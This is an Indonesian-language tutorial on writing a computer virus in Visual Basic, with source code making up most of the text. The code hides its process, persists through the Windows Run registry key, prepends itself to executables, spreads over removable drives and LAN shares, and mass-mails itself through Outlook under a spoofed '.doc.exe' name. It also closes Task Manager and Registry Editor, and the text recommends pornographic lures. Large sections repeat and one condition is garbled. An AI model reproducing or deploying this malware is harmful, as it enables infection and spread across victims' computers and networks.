Algoritma sebuah virus computer :
- Start
- Copy file induk ke directory windows kemudian jalankan
- Lakukan perubahan pada registry
- Baca caption windows explorer, jika menunjukan sebuah drive, sembunyikan folder asli dan gantikan dengan file virus.
- Jika ada program yang dijalankan, tulis keterangan program ke dalam file exelog.txt.
- End
- Copy file induk ke directory windows kemudian jalankan
- Lakukan perubahan pada registry
- Baca caption windows explorer, jika menunjukan sebuah drive, sembunyikan folder asli dan gantikan dengan file virus.
- Jika ada program yang dijalankan, tulis keterangan program ke dalam file exelog.txt.
- End
Hal-Hal yang dilakukan Virus :
1. Menyembunyikan prosesnya dari pemakai
2. Mengaktifkan dirinya setiap startup sistem
3. Menyebarkan dirinya melalui media file executable
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
6. Menyebarkan dirinya dengan filename spoofing.
7. Mempercepat proses penyebarannya dengan pendekatan social engineering
8. Berusaha mempertahankan existensi dirinya
Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.
1. Menyembunyikan prosesnya dari pemakai
App.TaskVisible = False
Kemudian untuk menyembunyikan form dapat menggunakan :
Me.Visible = False
2. Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah :
FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName
dan menambah ke registry :
Dim WShell as Object
Set WShell = CreateObject("WScript.Shell")
WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName
Set WShell = Nothing
3. Menyebarkan dirinya melalui media file executable
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Private Sub PeriksadanInfeksiExe(fname As String)
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut :
Program Executable
Setelah terinfeksi oleh program virus menjadi :
Program Virus + Program Executable + Ukuran Virus + Signature Virus
Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable.
Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan :
Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus
Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus
Dim tSignature As String * 5
Dim OriginalCode As String
Dim fNum As Integer
'Jangan menginfeksi diri sendiri
'Hanya menginfeksi file berukuran lebih dibawah 1 Mega
If Dir(fname) <> "" Then
If FileLen&(fname) > virSize And FileLen&(fname) < fnum =" FreeFile" tsignature =" Space$(5)"> virSignature Then 'jika file virus (tidak ada virSignature)
On Error GoTo finally
Open fname For Binary Access Read Write As fNum 'Buka file target
OriginalCode = Space$(LOF(fNum))
Get fNum, , OriginalCode 'baca Program Executable
Put fNum, 1, virCode 'tulis Program Virus diawal
Put fNum, , OriginalCode 'tulis Program Executable
Put fNum, , virSize 'tulis Ukuran Virus
Put fNum, , virSignature 'tulis Signature Virus
Close fNum
finally:
End If
End If
End If
End Sub
Ketika program Executable dijalankan maka :
Private Sub VirusInitial()
Dim OriginalCode As String
Dim tSignature As String * 5
Dim fNum As Integer
Dim fname As String
virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203)
Open exePath + App.EXEName + ".exe" For Binary Access Read As #1
Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize
tSignature = Space$(5)
Get #1, , tSignature 'baca virSignature
If tSignature <> virSignature Then 'Jika file virus sendiri
virSize = LOF(1) 'ukuran virSize sama dengan ukuran file
virCode = Space$(virSize) 'siapkan buffer virCode
Seek #1, 1 'ke posisi bof
Get #1, , virCode 'baca virCode sebesar ukuran virSize
Close #1
Call VirInstall 'instalasi virus
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
'Jika file yang terinfeksi
Else
Seek #1, LOF(1) - 9 + 1 'pindah file pointer ke posisi virSize
Get #1, , virSize 'baca virSize (long = 4 byte)
'Baca vircode
virCode = Space$(virSize)
Seek #1, 1 'ke posisi BOF (Awal file)
Get #1, , virCode 'baca virCode sebesar ukuran virSize
OriginalCode = Space$(LOF(1) - virSize) 'siapkan buffer
Get #1, , OriginalCode 'baca originalCode
fNum = 0
Do While Dir(exePath & App.EXEName & fNum & ".exe") <> ""
fNum = fNum + 1
Loop
fname = exePath & App.EXEName & fNum & ".exe"
On Error GoTo finally
Open fname For Binary Access Write As #2
Put #2, , OriginalCode 'tulis ke file sementara
Close #2 'tutup file sementara
finally:
Close #1
Call VirInstall
If Not SudahLoad Then
Load ff 'aktifkan timer virus
End If
Call ExecuteOriginal(fname)
Kill fname 'hapus file sementara
End If
End Sub
Private Sub ExecuteOriginal(fname)
Dim Host As Long, HProc As Long, HExit As Long
Host = Shell(fname, vbNormalFocus) 'jalankan fname
HProc = OpenProcess(PROCESS_ALL_ACCESS, False, Host)
GetExitCodeProcess HProc, HExit 'ambil status aktif
Do While HExit = STILL_ACTIVE 'proses ditahan selama proses masih aktif
DoEvents 'lakukan event yang lain
GetExitCodeProcess HProc, HExit
Loop
End Sub
Private Function SudahLoad() As Boolean
Dim vir_hwnd As Long
'Jika Jendela virus aktif
vir_hwnd = FindWindow(vbNullString, titleSudahLoad)
SudahLoad = Not (vir_hwnd = 0)
End Function
4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi
Public Sub InfeksiFloppy()
On Error GoTo BatalInfeksi
Dim floppy_hwnd As Long
Dim fname As String
'Jika Jendela Floppy terbuka
floppy_hwnd = FindWindow(vbNullString, "3½ Floppy (A:)")
If Not floppy_hwnd = 0 Then
Call InfeksiResource("A:", "DOCXLS") 'Hanya infeksi Doc, Exe jangan
End If
BatalInfeksi:
End Sub
Menyebarkan dirinya ke Flash Disk, diaktifkan dengan suatu timer.
Program ini bekerja dengan senantiasa memantau removable drive diatas drive C.
Public Sub InfeksiFlashDisk()
On Error GoTo BatalInfeksi
Dim ObjFSO As Object
Dim ObjDrive As Object
Set ObjFSO = CreateObject("Scripting.FileSystemObject")
For Each ObjDrive In ObjFSO.Drives
'Asumsi semua removable drive diatas huruf C adalah flash disk
'1 - Removable drive
'2 - Fixed drive (hard disk)
'3 - Mapped network drive
'4 - CD-ROM drive
'5 - RAM disk
If ObjDrive.DriveType = 1 And ObjDrive.DriveLetter > "C" Then
Call InfeksiResource(ObjDrive.DriveLetter + ":", "XLSDOC")
End If
Next
BatalInfeksi:
End Sub
Menyebarkan dirinya ke semua resource yang di Share pada computer yang terinfeksi :
Public Sub InfeksiMySharing()
Dim shares() As String, share As Variant, target As String
If GetShares("\\127.0.0.1", "Microsoft Windows Network", shares) = True Then
For Each share In shares
target = share
Call InfeksiResource(target, "XLSDOCEXE")
Next share
End If
End Sub
Menyebarkan dirinya ke semua resource share yang terbuka di LAN, dengan mengambil semua Domain maupun Workgroup dan menyimpannya dalam suatu stack.
Dim Domains() As String, Domain As Variant
If GetShares("", "Microsoft Windows Network", Domains) = True Then
For Each Domain In Domains
If Not stackDomain.isFull Then
stackDomain.Push (Domain)
End If
Next Domain
End If
End Sub
Kemudian mengambil computer yang berada pada masing-masing Domain maupun Workgroup dalam suatu stack.
Public Sub AmbilComputer()
Dim Computers() As String, Domain As String, Computer As Variant
If Not stackDomain.isEmpty() Then
Domain = stackDomain.Pop()
If GetShares(Domain, "Microsoft Windows Network", Computers) = True Then
For Each Computer In Computers
If Not stackComputer.isFull Then
stackComputer.Push (Computer)
End If
Next Computer
End If
End If
End Sub
Dan Akhirnya mengambil semua resource yang dishare dari masing-masing Computer :
Public Sub AmbilDrive()
Dim Drives() As String, Computer As String, Drive As Variant
If Not stackComputer.isEmpty() Then
Computer = stackComputer.Pop()
If GetShares(Computer, "Microsoft Windows Network", Drives) = True Then
For Each Drive In Drives
If Not stackDrive.isFull Then
stackDrive.Push (Drive)
End If
Next Drive
End If
End If
End Sub
Public Sub InfeksiNetworkDrive()
Dim target As String
If Not stackDrive.isEmpty() Then
target = stackDrive.Pop()
Call InfeksiResource(target, "XLSDOCEXE")
End If
End Sub
Melakukan penyebaran melalui fasilitas email :
Public Sub SpreadEmailOutlook()
Dim Outlook As Object
Dim Mapi As Object
Dim Mail As Object
Dim AddressBook As Variant
Dim MailAddress As Variant
Dim i As Integer, j As Integer
On Error GoTo finally
Set Outlook = CreateObject("Outlook.Application")
Set Mapi = Outlook.GetNamespace("MAPI")
For i = 1 To Mapi.AddressLists.Count
Set AddressBook = Mapi.AddressLists(i)
For j = 1 To AddressBook.AddressEntries.Count
MailAddress = AddressBook.AddressEntries(j)
Set Mail = Outlook.CreateItem(0)
Mail.Recipients.Add (MailAddress)
Mail.Subject = "Subject Virus Anda"
Mail.Body = vbCrLf & "Pesan anda agar pemakai tertarik membuka attachment."
Mail.Attachments.Add Environ$("windir") & "\" & attachment & ".doc.exe"
Mail.Send
Next
Next
finally:
Set Outlook = Nothing
Set Mapi = Nothing
End Sub
5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system
Penulis tidak akan membahas tentang teknik yang satu ini. Pada dasarnya cara kerjanya adalah seperti ini, misalnya pada Windows yang otomatis menjalankan file dengan script extension tertentu (Contoh teknik virus Redlof), sehingga program virus dapat membuat script tersebut untuk mentrigger program virus.
Ada juga worms yang memanfaatkan kelemahan Outlook Express, dimana secara otomatis menjalankan Attachment tanpa klik dari pemakai.
Ada juga worms yang menyebarkan diri melalui website, dimana jika anda mengunjungi suatu website dengan software browser yang memiliki kelemahan, maka secara otomatis browser mendownload kode yang tidak diinginkan dan menjalankannya.
6. Menyebarkan dirinya dengan filename spoofing.
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
Teknik filename spoofing banyak digunakan oleh worms dewasa ini dengan menggunakan double extension :
Misalnya :
SuratCinta.doc.pif
Pada system yang settingnya tidak menampilkan extension file maka file tersebut diatas ditampilkan pada system sebagai :
SuratCinta.doc
7. Mempercepat proses penyebarannya dengan pendekatan social engineering.
Teknik ini adalah gampang-gampang sudah, tetapi sangat mempengaruhi penyebaran dan siklus hidup virus anda. Social engineering banyak digunakan oleh hacker-hacker untuk memperdaya dengan pendekatan non-teknis computer, tetapi lebih cenderung kepada pendekatan manusia.
Banyak virus menyebar dengan memanfaatkan kesenangan orang akan materi-materi pornografi, yaitu dengan membuat membuat nama-nama file, maupun pesan email yang memancing korban untuk penasaran membuka attachment.
8. Berusaha mempertahankan existensi dirinya
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Keberhasilan menerapkan teknik social engineering akan menentukan kesuksesan dan siklus hidup virus anda.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub
Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :
WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"
Maupun melacak jendela proses-proses musuh, dan menutupnya.
Public Sub KillEnemy()
Dim EnemyProcess(20) As String
Dim i As Integer
EnemyProcess(1) = "Registry Editor"
EnemyProcess(2) = "Windows Task Manager"
EnemyProcess(3) = "Process Viewer"
EnemyProcess(4) = "Open With"
For i = 1 To 4 Step 1
Call KillEnemyWindow(EnemyProcess(i))
Next i
End Sub
Private Sub KillEnemyWindow(target As String)
Dim Enemy_hwnd As Long
Enemy_hwnd = FindWindow(vbNullString, target)
If Not Enemy_hwnd = 0 Then
CloseWindow (Enemy_hwnd)
End If
End Sub
Kesimpulan :
Pemrograman virus sangat membutuhkan pengetahuan tentang bagaimana proses-proses system operasi yang berpotensi digunakan sebagai sarana penyebaran, serta perintah-perintah pemrograman yang dapat digunakan untuk mewujudkan proses tersebut. Jadi tidak diperlukan algoritma yang rumit, sehingga dapat dengan mudah dilakukan oleh programmer-programmer pemula.
Lampiran A
‘API Declaration Modul
Option Explicit
Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function CloseWindow Lib "user32" (ByVal hwnd As Long) As Long
Public Const STILL_ACTIVE As Long = &H103
Public Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
Public Type NETRESOURCE
dwScope As Long
dwType As Long
dwDisplayType As Long
dwUsage As Long
lpLocalName As Long
lpRemoteName As Long
lpComment As Long
lpProvider As Long
End Type
Public Declare Function WNetOpenEnum Lib "mpr.dll" Alias "WNetOpenEnumA" _
(ByVal dwScope As Long, ByVal dwType As Long, ByVal dwUsage As Long, _
lpNetResource As NETRESOURCE, lphEnum As Long) As Long
Public Declare Function WNetEnumResource Lib "mpr.dll" Alias "WNetEnumResourceA" _
(ByVal hEnum As Long, lpcCount As Long, lpBuffer As NETRESOURCE, lpBufferSize As Long) As Long
Public Declare Function WNetCloseEnum Lib "mpr.dll" (ByVal hEnum As Long) As Long
Public Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal pString As Long) As Long
Public Declare Function lstrcpy Lib "kernel32" Alias "lstrcpyA" _
(ByVal lpString1 As String, ByVal pString As Long) As Long
Const RESOURCE_GLOBALNET = 2
Const RESOURCETYPE_DISK = 1
Const RESOURCEDISPLAYTYPE_DOMAIN = 0
Const RESOURCEUSAGE_CONTAINER = 1
Function GetShares(ByVal RemoteName As String, ByVal Provider As String, sShares() As String) As Boolean
Dim hEnum As Long, nrLen As Long, nrCount As Long
Dim nr(2048) As NETRESOURCE, retval As Boolean
nrCount = -1
nrLen = 65536
RemoteName = StrConv(RemoteName, vbFromUnicode)
nr(0).lpRemoteName = StrPtr(RemoteName)
Provider = StrConv(Provider, vbFromUnicode)
nr(0).lpProvider = StrPtr(Provider)
nr(0).dwType = RESOURCEDISPLAYTYPE_DOMAIN
nr(0).dwUsage = RESOURCEUSAGE_CONTAINER
If WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK, 0, nr(0), hEnum) = 0 Then
If WNetEnumResource(hEnum, nrCount, nr(0), nrLen) = 0 Then
If nrCount > 0 Then
ReDim sShares(nrCount - 1) As String
For nrLen = 0 To (nrCount - 1)
sShares(nrLen) = Space(lstrlen(nr(nrLen).lpRemoteName))
Call lstrcpy(sShares(nrLen), nr(nrLen).lpRemoteName)
Next nrLen
retval = True
End If
End If
Call WNetCloseEnum(hEnum)
End If
GetShares = retval
End Function
Lampiran B
‘Form ff
Option Explicit
Dim SedangInfeksi As Boolean
Dim SpreadEmail As Boolean
Dim Aktifitas As Integer '0 = floppy, 1 = flashdisk
Dim Loncat As Integer
Private Sub AT_Timer()
Call KillEnemy
If Not SedangInfeksi Then ‘jangan overlapping proses
SedangInfeksi = True
If Aktifitas = 0 Then
Call InfeksiMySharing
ElseIf Aktifitas = 1 Then
Call AmbilDomain
ElseIf Aktifitas = 2 Then
Call AmbilComputer
ElseIf Aktifitas = 3 Then
Call AmbilDrive
ElseIf Aktifitas = 4 Then
Call InfeksiNetworkDrive
ElseIf Aktifitas = 5 Then
Call InfeksiFloppy
ElseIf Aktifitas = 6 Then
'Call InfeksiFlashDisk
ElseIf Aktifitas = 7 Then
Call InfeksiMySharing
ElseIf Aktifitas = 8 Then
If Not SpreadEmail Then
Call SpreadEmailOutlook
SpreadEmail = True
End If
Aktifitas = 1
End If
Aktifitas = (Aktifitas + 1)
SedangInfeksi = False
End If
End Sub
Main Program
Private Sub Form_Load()
Me.Visible = False
Me.Caption = titleSudahLoad
AT.Interval = 1000
SedangInfeksi = False
SpreadEmail = False
Aktifitas = 0
Loncat = 0
AT.Enabled = True
End Sub